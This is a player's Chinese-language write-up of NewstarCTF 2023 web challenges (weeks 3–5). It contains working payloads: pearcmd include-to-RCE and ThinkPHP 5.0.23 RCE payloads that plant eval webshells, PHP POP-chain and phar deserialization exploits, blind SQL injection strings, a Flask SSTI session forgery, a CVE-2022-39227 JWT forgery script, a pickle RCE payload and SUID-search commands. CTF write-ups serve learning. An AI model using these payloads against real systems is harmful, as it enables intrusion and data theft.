NewstarCTF2023 Writeup

NewstarCTF2023

——Jednersaous

WEB-week3

include pear

这道题是我没见过的,本来一开始还没意识到题那个梨的emoji是什么意思,后来才恍然大悟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];

if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}

include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>

看到include第一反应应该是php伪协议,但是后面限制了文件后缀,其实过不过滤也差不多?除非又能把后面的.php给无效了

题目说phpinfo.php里有东西,结果找到个fakeflag= fake{Check_register_argc_argv}

打开源码Ctrl+f 开搜,发现register_argc_argv=1,好,那么好,又得浏览器开搜了(没见过啊

找到了LFI,RCE,pearcmd等好多东西

参考连接:

https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/register_argc_argv%E4%B8%8Einclude%20to%20RCE%E7%9A%84%E5%B7%A7%E5%A6%99%E7%BB%84%E5%90%88/

https://blog.csdn.net/qq_50643984/article/details/126598547

甚至有去年Newstar的同类型题???(绷

https://blog.csdn.net/weixin_53090346/article/details/127241278

但我搜了是搜了,确实是没理解,什么LFI to RCE云云,确实是没太懂

payload:

1
http:靶机ip?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/var/www/html/a.php

Pay attetion here:一定要用Burp传这个payload,不然在url里传会被直接转义,然后gg

传payload之后,会在默认开启web服务的文件夹下新建一个a.php,其中有你传入的代码,传入成功是有回显的

随后就可以打开http:靶机ip/a.php

然后hackbar传参给1这个变量,可以看到这个是不出网的,不用拿shell

直接1=system(‘cat /flag’);这个/flag在题目源码中有暗示

虽然没懂,但是涨知识了(?

至少我知道了这个代码怎么工作,那些巨擘们是完全理解了之后才能写出这样的payload的话

那也太恐怖了……

——————————————————————————————————————————

medium_sql

稍微开了下环境做了下,由于我没看wp不知道别人是怎么做的,但我从上一题沿用的盲注好像还是能行啊?

盲注永远的神(???

这次我一定写一个脚本来注(他妈的

没对大小写进行过滤

1
2
3
4
5
6
7
payload:
ASCII(SUBSTR((SELECT table_name from INFORMATION_schema.`TABLES` Where table_schema = database() limit 0,1),1,1))

length(SELECT table_name from INFORMATION_schema.`TABLES` Where table_schema = database() limit 0,1)>=3
ASCII(SUBSTR((SELECT column_name from INFORMATION_schema.`COLUMNS` Where table_name='grades' limit 0,1),1,1))

ASCII(SUBSTR((SELECT column_name from INFORMATION_schema.`COLUMNS` Where table_name='here_is_flag' limit 0,1),1,1))

用我这个没问题(笑

偷懒——————————————————————————————————————

POP Gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
highlight_file(__FILE__);

class Begin{
public $name;

public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}
class Then{
private $func;

public function __toString()
{
($this->func)();
return "Good Job!";
}

}
class Handle{
protected $obj;

public function __call($func, $vars)
{
$this->obj->end();
}

}
class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}

public function end()
{
die("==GAME OVER==");
}
}
class CTF{
public $handle;

public function end()
{
unset($this->handle->log);
}

}
class WhiteGod{
public $func;
public $var;

public function __unset($var)
{
($this->func)($this->var);
}
}
@unserialize($_POST['pop']);

我对于php序列化和反序列化的认知还停留在十分简单的阶段,这题确实是给了我当头一棒,我也认识到了什么是POP链

参考:
https://www.cnblogs.com/th0r/p/14152102.html

https://www.php.net/manual/zh/language.oop5.magic.php

首先对源码做一下分析:

直接看最后,定义了两个可以传入的参数$func,$var,还有个__unset函数里面调用了如下式子

1
($this->func)($this->var)

看起来就很像能够执行system命令的样子

看到WhiteGod类调用了__unset魔术方法,php官网的解释是

当对不可访问(protected 或 private)或不存在的属性调用unset()时, __unset会被调用

回到源码中去找哪里调用了unset()函数,可以看到CTF类调用了unset

且unset传入的参数是$this->handle->log,handle有定义可控,但是log又是什么属性呢(?

暂时先不管,总之是要把handle设置为new WhiteGod()以便能调用__unset

其实正是对未定义的属性调用了unset(),所以才会触发__unset,因此没必要考虑log是什么,就是个未定义量

回到CTF类,调用unset的定义函数是end(),我们要在注入POP链后执行end函数,那么应该从哪里去找调用$CTF.end()的地方呢

可以看到Handle类中有魔术方法__call,php官网的解释是

在对象中调用一个不可访问方法时,__call会被调用

显然Handle类中的protected $obj应该就是一个CTF类,这样便可以调用end()方法

可以发现Super类中有魔术方法__invoke,php官网的解释是

当尝试以调用函数的方式调用一个对象时,__invoke方法会被自动调用

所以我们只需要找到形如$object()这样的表达式,最后发现Then类调用了($this->func)(),所以

($this->func)应为一个Super类,但是要触发($this->func)(),必须先触发__toString魔术方法,php官网的解释是

__toString方法用于一个类被当成字符串时应怎样回应

最经典的就是echo,print等函数,在这道题目中,我们可以发现Begin的__destruct魔术方法调用了preg_match

这是一个经典的字符串处理函数,所以只需要保证$this->name是我传入的一个Then类即可

综合上述,我们已经可以得到一条逻辑链

1
2
3
4
5
Begin:$this->name   --------->   Then
Then:$this->func ---------> Super
Super:$this->obj ---------> Handle
Handle:$this->obj ---------> CTF
CTF:$this->handle ---------> WhiteGod

Pay attention:

值得注意的是,在php序列化过程中,对于public,protected,private变量的序列化有所不同

对于public变量是直接var_dump(),没有加任何的保护

对于protected变量,假设protected $a=’123’,那么序列化之后就是s:6:%00%00123,我将其与public变量序列化不同的部分加粗,所以在传参的时候最好使用burp,在Hex栏中在号的前后补上hex(00),以充当%00

对于private变量,假设protected $a=’123’,且类名为number,那么序列化之后就是s:11:%00number%00123,在php-echo预览出来的效果是没有%00的,就是类名加上数据,传参同protected

其次需要用得到一些OOP的思想,首先我们明确一点:protected和private变量在类外部是不可写的

所以在写poc的时候,不能用$a->protected variable来修改其值,而是得在类的内部重新写一个public方法

用这个public方法来修改protected或者private变量的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
poc:
<?php

class Begin{
public $name;
}
class Then{
private $func;

public function construct($k)
{
$this->func=$k;
}
}
class Handle{
protected $obj;

public function construct($k)
{
$this->obj=$k;
}
}
class Super{
protected $obj;

public function construct($k){
$this->obj=$k;
}
}
class CTF{
public $handle;
}
class WhiteGod{
public $func='var_dump';
public $var='666';
}
$a= new Begin();
$b=new Then();
$c=new Super();
$d=new Handle();
$e=new CTF();
$f=new WhiteGod();
$e->handle=$f;
$d->construct($e);
$c->construct($d);
$b->construct($c);
$a->name=$b;
echo serialize($a);

传参用burp然后修改hex就可^ _ ^

——————————————————————————————————————————————————

R!!!C!!!E!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}

确实是minipop,先处理POP链,要调用__toString魔术方法中的exec()方法,我们要把一个类当做字符串来处理,看到minipop类中__destruct魔术方法中有echo,那懂了啊,就是把$this->qwejaskdjnlka变成上面提到的类就行了,虽然这两个类是一样的,但是问题不大

再回到__toString里的exec(),可以看到exec($this->code),所以说我们传入给qwe属性的这个类要写入能够RCE的code属性,至于外层minipop类的code属性可以不管,同时内层minpop类的qwe属性也可以不管

接下来就是如何RCE然后读文件或者下载什么的

首先要明确exec()和system()的区别

exec是没有回显的,除非传多个参数,那么会将第一个参数的内容存入第二个参数中,所以ls不会返回到页面上

而且exec失败的话会报错,对于查看是否成功RCE很友好

可以传code属性为sleep 3,这样可以让相应延迟3秒,也能查看是否成功RCE

看一下preg_match,嗯,能过滤的都过滤了,但是没有过滤单双引号,可能如果过滤了就传不了序列化对象了?

那就很好绕过了,对于php的preg_match,毕竟是php的东西,要过滤linux的智能匹配可太难了

比如ba””se,ex””ec,py””thon,这些都是可以执行的,翻解法的时候看到了tee方法,很好用,用了之后确实很好用

所以就用te””e来代替传入code属性中的tee就行了

参考:

https://www.php.net/manual/zh/function.exec.php

https://blog.csdn.net/Kracxi/article/details/121997166

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
exp:
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
$a=new minipop();
//$a->code='ls | te""e 1';
//$a->code='cat /flag_is_h3eeere | te""e 2';
$b=new minipop();
$b->qwejaskdjnlka=$a;
echo serialize($b);

拿到序列化后的值用hackbar传post参数就行

1
2
payload1:
O:7:"minipop":2:{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:12:"ls | te""e 1";s:13:"qwejaskdjnlka";N;}}

先传入第一个payload1,然后可以访问/1页面,就能看到ls输出的返回值,如果没有flag就多试几次cd和ls

(一般不会为难人

1
2
payload2:
O:7:"minipop":2:{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{s:4:"code";s:30:"cat /flag_is_h3eeere | te""e 2";s:13:"qwejaskdjnlka";N;}}

发现flag_is_h3eere在根目录下,直接cat就行了,用tee下载到/2页面上

访问/2页面就能拿到flag

——————————————————————————————————————————————————

WEB-week4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}

unserialize(waf(serialize(new GetFlag($_GET['key']))));

可以看到页面显示system(‘whoami’)的结果被打印了两次,第一次是在定义一个新的GetFlag类的时候,调用了__destruct()魔术方法,会自动执行system函数并回显到浏览器上

第二次是反序列化的时候,相当于将传入的序列化后的GetFlag类重新变成GetFlag类,也会调用__construct()和__destruct()

首先分析一个单独的GetFlag类,明显可以看出我们可控的变量仅有$key,而$cmd是我们无法控制的

单纯修改$key的值几乎没什么用,所以可能需要多个类来形成POP链

但是很显然,我$_GET[‘key’]传入的key值不可能是个类型,所以也没法传入一个类了

看到str_replace,把所有bad换成good,每换一次字符长度+1,但是序列化后字符长度值不变,

那就=Moe~夺命十三枪,不难,构造一下Payload吧

1
2
3
4
5
6
7
8
9
10
Payload:
need:
";s:3:"cmd";s:2:"ls";}
badbad...bad
...==need
badbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}bad -15

Final:
key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";} //index.php --22*good->88
key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

——————————————————————————————————————————————————

More Fast

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
highlight_file(__FILE__);

class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}

class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}

class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}

class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}

class Misc{
public function evil() {
echo "good job but nothing";
}
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");

又双叒是POP链题,恼(

1
2
3
4
5
6
Start.errMsg=Crypto    //Crypto之__toString
Crypto.obj=Reverse //Reverse之__get
Reverse.func=Pwn //Pwn之__invoke
Pwn.obj=Web or Misc ?? //Web&Misc之evil()
Web.func='system'
Web.var='ls'

恼,不做了(\ud83d\ude21)

——————————————————————————————————————————————————

midsql

1
2
3
$cmd = "select name, price from items where id = ".$_REQUEST["id"];
$result = mysqli_fetch_all($result);
$result = $result[0];

粗试了一下,发现过滤了空格和=

而且这压根就没有执行任何有效的sql嘛,只有result的莫名嵌套,所以是不会有任何结果的

传入的是个字符型变量,但是检测应该是发生在拼接语句之前的,所以照理应该是可以执行id里的php语法

直接打个sleep(2)进去,网页直接开睡,原来直接RCE就行了(?

就是好像没有回显,所以这…难不成是要拿shell嘛,但是呢好像有点不太对,因为堆叠用不了

比如1;sleep(1)网页是不睡的,所以得重新审视一下逻辑

1
2
-1/**/or/**/sleep(2)
1/**/&&/**/sleep(2)

以上POC均不行,要不就是输进去就network-err

我懂了,我发现sleep(1);sleep(1)也不会让网页睡觉,所以只有当id是个可执行的短语句(不能有分号)才会执行

——————————————————————————————————————————————————

Injectme

目录穿越先拿源码,密钥未知试试读取一下config,没想到确实有(其实没有就做不下去了

1
secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"

ezSSTI(wrong

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import os
import sys
sys.path.append(r'C:\Users\Jednersaous\Desktop\web-test\build\flasksessioncookiemanagermaster')
import flask_session_cookie_manager3


# cookie_structure = "{'user': \"{% print([]['_''_cla''ss_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()) %}\"}"
# secret = 'y0u_n3ver_k0nw_s3cret_key_1s_newst4r'
# payload = flask_session_cookie_manager3.FSCM.encode(secret,cookie_structure)
# print(payload)

#find os
# url='http://17accd58-671d-4091-b453-94dff0b6c092.node4.buuoj.cn:81/backdoor'
# for j in range(150):
# cookie_structure = "{'user': \"{% print([]['_''_cla''ss_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()) %}\"}"
# a='[%d]' % j
# cookie_structure=cookie_structure[0:84]+a+cookie_structure[84:100]
# secret = 'y0u_n3ver_k0nw_s3cret_key_1s_newst4r'
# payload = flask_session_cookie_manager3.FSCM.encode(secret,cookie_structure)
# print(payload)
# cookiet={
# 'session': payload
# }
# a=requests.get(url=url, cookies=cookiet)
# if "os" in a.text:
# print(a.text)
# print(j)

cookie_structure = "{'user': \"{% print([]['_''_cla''ss_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[117]['_''_ini''t_''_']['_''_glo''bals_''_']['po''pen']('ca''t /y0U3_f14g_1s_h3re')['read']()) %}\"}" #tail
print(cookie_structure)
secret = 'y0u_n3ver_k0nw_s3cret_key_1s_newst4r'
payload = flask_session_cookie_manager3.FSCM.encode(secret,cookie_structure)
print(payload)

——————————————————————————————————————————————————

PharOne

phar反序列化,检测__HALT_COMPILER(),用gzip绕过

无回显rce,有写入权限,直接在/var/www/html下新写一个可以回显的:horse:

至于反弹shell,没成功,原因未知(((

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Flag{
public $cmd;
}
$a = new Flag();
$a->cmd="echo '<?=system(\$_GET[1]);?>'>/var/www/html/1.php";
$phartest = new phar('pharone.phar',0);
$phartest->startBuffering();
$phartest->setMetadata($a);
$phartest->setStub("<?php __HALT_COMPILER();?>");
$phartest->addFromString("test.txt","test");
$phartest->stopBuffering();
?>

——————————————————————————————————————————————————

OtenkiBoy

Week3OtenkiGirl的加强版,还是JavaScript原型链污染

主要分析routes/info.js,routes/submit.js,routes/_components/utils.js

可以发现utils.js中的mergeJSON()函数仍然是一个递归的可浅可深的拷贝,但是过滤了__proto__

那么可以用{'constructor':{'prototype':''}}来绕过,这两者是等价的

其余的剩下再打

——————————————————————————————————————————————————

WEB-week5

Unserialize Again

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
highlight_file(__FILE__);
error_reporting(0);
class story{
private $user='admin';
public $pass;
public $eating;
public $God='false';
public function __wakeup(){
$this->user='human';
if(1==1){
die();
}
if(1!=1){
echo $fffflag;
}
}
public function __construct(){
$this->user='AshenOne';
$this->eating='fire';
die();
}
public function __tostring(){
return $this->user.$this->pass;
}
public function __invoke(){
if($this->user=='admin'&&$this->pass=='admin'){
echo $nothing;
}
}
public function __destruct(){
if($this->God=='true'&&$this->user=='admin'){
system($this->eating);
}
else{
die('Get Out!');
}
}
}
if(isset($_GET['pear'])&&isset($_GET['apple'])){
// $Eden=new story();
$pear=$_GET['pear'];
$Adam=$_GET['apple'];
$file=file_get_contents('php://input');
file_put_contents($pear,urldecode($file));
file_exists($Adam);
}
else{
echo '多吃雪梨';
} 多吃雪梨

一堆魔术方法都是骗人的,只有__destruct__有用,满足条件就能任意命令执行了,接下来是传参的部分

首先要明确file_get_contents('php://input')可以读取POST参数,但是呢会保留raw_data

比如说单单传入一个或多个字符是不行的,必须有a=123这样类似的形式,再看下一行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

所以会保留```a=xxx```这样子,可以自己在本地测试下,不过这个对于做题倒是无伤大雅,因为phar只会解析有用的

看到```file_exist```很明确是```phar://```打一个phar反序列化,就是文件写入有点麻烦,而且还要绕过```__wakeup__```

浏览器抓包可以发现php版本是7.0.9,而php7.0.10就不能通过改变属性个数绕过```__wakeup__```了,所以这题还行

但是当你生成phar后再修改,那么phar的签名就无效了,必须得重新加密签名,详见下面的博客

> https://www.cnblogs.com/CoLo/p/16786627.html

而且传文件得用python(我只会python,hackbar和burp全都寄,用open+read读bytes类型数据

然后用```urllib.parse.quote```将bytes数据给它url编码了,虽然说是只能传string类型,但其实可以自动转化的

POC:

```python
from hashlib import sha1
import os
import requests
import urllib.parse

urll='http://391ffc99-a75c-4ecd-baa4-edac1b638dff.node4.buuoj.cn:81/pairing.php'
paramss={
'pear':'unsea.phar',
'apple':'phar://unsea.phar'
}
with open('pharseax.phar','rb') as file:
f=file.read()
s=f[:-28]
h=f[-8:]
newf = s + sha1(s).digest() + h
with open('unsea.phar','wb') as file:
file.write(newf)

with open('unsea.phar','rb') as fi:
f=fi.read()
ff=urllib.parse.quote(f)
fin=requests.post(url=urll,data=ff,params=paramss)
print(fin.text)

——————————————————————————————————————————————————

Final

Thinkphp-V5.0.23的RCE漏洞,但是照着网上搜到的抄是无结果的,因为system被disable了

1
2
3
4
5
6
7
POST /index.php?s=captcha

_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
##可以看到phpinfo里禁用了system

_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo%20'<?php%20eval($_POST['cmd']);?>'%20>%20/var/www/public/1.php
##写webshell,用蚁剑连接

到根目录之后想直接cat flag,但是没权限,姑且先搜下SUID,但是搜出来无回显,得写到txt里再读取

1
2
find / -user root -perm -4000 -print 2>/dev/null > 1.txt
cp /flag* /dev/stdout

看了writeup,没懂,打算看看SUID提权

SUID(Set User ID)是给予文件一个特殊类型的权限。具体作用就是把可执行程序所有者的权限赋予可执行程序,无论执行程序的是哪位用户,可执行程序都拥有它的所有者的权限,对于root的文件权限会由rwxr变为rwsr

设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者

这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID

Real UID 执行该进程的用户实际的UID;

Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限);

Saved UID 在高权限用户降权后,保留的其原本UID(本文中不对这个UID进行深入探讨)

Real UID 执行该进程的用户实际的UID,谁通过shell运行就是谁 Effective UID 程序实际操作时生效的UID,一般在进程启动时,直接由Real UID复制而来;或者是当进程对应的可执行文件的suid标志位为s时,为该文件的所属用户/组。所以利用suid文件进行提权需要2个前提:文件的所有者是 0 号或其他super user 文件拥有suid权限

0是root用户的UID

设置SUID权限

1
2
chmod u+s filename
chmod u-s filename # 删除SUID权限

利用find命令找出linux系统上所有SUID的可执行文件

1
2
3
4
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
ls -l /usr/bin

分析一下cp /flag* /dev/stdout

执行一个shell命令行时通常会自动打开三个标准文件:

  • 标准输入文件(stdin),通常对应终端的键盘;
  • 标准输出文件(stdout)和标准错误输出文件(stderr),这两个文件都对应终端的屏幕。

进程将从标准输入文件中得到输入数据,将正常输出数据输出到标准输出文件,而将错误信息送到标准错误文件中。所以stdout可以将输入的信息输出到终端上

——————————————————————————————————————————————————

Ye’s Pickle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__)

def generate_random_string(length=16):
characters = string.ascii_letters + string.digits # 包含字母和数字
random_string = ''.join(random.choice(characters) for _ in range(length))
return random_string
app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)
@app.route("/")
def index():
payload=request.args.get("token")
if payload:
token=verify_jwt(payload, key, ['PS256'])
session["role"]=token[1]['role']
return render_template('index.html')
else:
session["role"]="guest"
user={"username":"boogipop","role":"guest"}
jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))
return render_template('index.html',token=jwt)

@app.route("/pickle")
def unser():
if session["role"]=="admin":
pickle.loads(base64.b64decode(request.args.get("pickle")))
return render_template("index.html")
else:
return render_template("index.html")
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)

上来首先是要考虑一个jwt,用了之前没见过的库jwcrypto, python_jwk,页面会回显token

然而,SECRET_KEY和key的数量级过大,实在没法强行爆破,也没有任何关于他们的信息,所以到这里就卡住了

卡了半天,无奈只能看题解,结果是个CVE,没绷住,CVE-2022-39227,参考以下博客

https://forum.butian.net/share/1990

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import base64
import string
import random
from flask import *
from json import *
import jwcrypto
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
key = jwk.JWK.generate(kty='RSA', size=2048)
print(type(key))
print(key)
user={"username":"boogipop","role":"guest"}
jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))
print(jwt)
jwt='页面回显的token'
[header, payload, signature] = jwt.split('.')
parsed_payload = loads(base64url_decode(payload))
print(parsed_payload)
parsed_payload['role']="admin"
fakepayload=base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
fakejwt='{"' + header + '.' + fakepayload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
print(fakejwt)

下一步就是pickle的问题,pickle嘛,是个新东西,先待我看看和整理一下

参考以下大神blog

https://goodapple.top/archives/1069

https://xz.aliyun.com/t/11807

但是这道题单纯地用什么os.system('ls /')肯定出不来,因为没有回显,全是模板,那么无回显该怎么办呢

参考以下博客

https://www.cnblogs.com/sijidou/p/16305695.html

所以思路是这样:

随便定义一个类,再调用它的内置方法__reduce__return一个tuple类型的对象,其中tuple[0]是可执行的内置函数,tuple[1]是给函数传入的字符串方法(一般是系统命令,然后再用pickle.dumps序列化这个随便定义的类就行了(一般是会base64加解密的

而这里因为没有回显,但是因为debug=True,所以可以通过控制台报错回显(((太妙了

raise Exception()```括号内内置```__import__('os').system/popen.read()```就可以了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

最终payload:

```python
import pickle
import base64
import os

class Jex():
def __reduce__(self):
return (exec,("raise Exception(__import__('os').popen('cat /flagggggggggggg').read())",))

def login():
poc = base64.b64encode(pickle.dumps(Jex()))
print(poc)
login()

——————————————————————————————————————————————————

pppython?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]){
header("Content-type: text/plain");
system("ls / -la");
exit();
}

try {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);
$output = curl_exec($ch);
echo $output;
curl_close($ch);
}catch (Error $x){
highlight_file(__FILE__);
highlight_string($x->getMessage());
}

?> curl_setopt(): The CURLOPT_HTTPHEADER option must have an array value

先打一下hint,判断传入的hint等于一个数组,直接用hint[]传参就行

1
http://ad9e0451-31fe-4654-85e8-c9fcba3c34d8.node4.buuoj.cn:81/?hint[0]=your?&hint[1]=mine!&hint[2]=hint!!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
total 12
drwxr-xr-x 1 root root 51 Nov 29 10:45 .
drwxr-xr-x 1 root root 51 Nov 29 10:45 ..
-rwxr-xr-x 1 root root 0 Nov 29 10:45 .dockerenv
-rwxr-xr-x 1 root root 353 Oct 19 15:52 app.py
lrwxrwxrwx 1 root root 7 Nov 22 2021 bin -> usr/bin
drwxr-xr-x 2 root root 6 Nov 8 2021 boot
drwxr-xr-x 5 root root 360 Nov 29 10:45 dev
drwxr-xr-x 1 root root 66 Nov 29 10:45 etc
-rw------- 1 root root 43 Nov 29 10:45 flag
drwxr-xr-x 2 root root 6 Nov 8 2021 home
lrwxrwxrwx 1 root root 7 Nov 22 2021 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Nov 22 2021 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Nov 22 2021 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Nov 22 2021 libx32 -> usr/libx32
drwxr-xr-x 2 root root 6 Nov 22 2021 media
drwxr-xr-x 2 root root 6 Nov 22 2021 mnt
drwxr-xr-x 2 root root 6 Nov 22 2021 opt
dr-xr-xr-x 3994 root root 0 Nov 29 10:45 proc
drwx------ 1 root root 20 Oct 19 15:52 root
drwxr-xr-x 1 root root 21 Oct 19 15:50 run
lrwxrwxrwx 1 root root 8 Nov 22 2021 sbin -> usr/sbin
drwxr-xr-x 2 root root 6 Nov 22 2021 srv
-rwx------ 1 root root 241 Oct 19 15:52 start.sh
dr-xr-xr-x 13 root root 0 Sep 19 01:23 sys
drwxrwxrwt 1 root root 6 Nov 29 10:45 tmp
drwxr-xr-x 1 root root 19 Nov 22 2021 usr
drwxr-xr-x 1 root root 17 Oct 19 15:49 var

看一下curl_init,curl_setopt,curl_close,新东西查点资料,好像是curl能够爬取其他站点的内容(

那这就有点鸡肋了啊,总不至于让你请求钓鱼网站然后中病毒木马什么的吧

查了一下,可以用file://伪协议读,那就挺好,一看权限,好读的也就app.py

但是得注意一下curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']),传入的要是一个数组

所以又用lolita[]小绕一下先,先读到再说…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, request, session, render_template, render_template_string
import os, base64
#from NeepuF1Le import neepu_files

app = Flask(__name__)

app.config['SECRET_KEY'] = '******'
@app.route('/')
def welcome():
if session["islogin"] == True:
return "flag{***********************}"


app.run('0.0.0.0', 1314, debug=True)1

有个提示#from NeepuF1Le import neepu_files,就搜了一下,结果搜到出题人打NeepuCTF的题解了

感觉就是根据NeepuCTF的Cute Cirno改编的,有异曲同工之妙,但是就算SSRF了1314端口也拿不到真的flag(

所以应该是要算pin码了,趁着这个时机好好学一下算pin码

    1. username,用户名(/etc/passwd里面找((太草了)
    1. modname,默认值为flask.app
    1. appname,默认值为Flask
    1. moddir,flask库下app.py的绝对路径(报错好搞
    1. uuidnode,当前网络的mac地址的十进制数(/sys/class/net/eth0/address)
    1. machine_id,docker机器id(如果是docker靶机的话

      1
      /etc/machine-id`或者`/proc/sys/kernel/random/boot_id`其中一个拼接上`/proc/self/cgroup
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
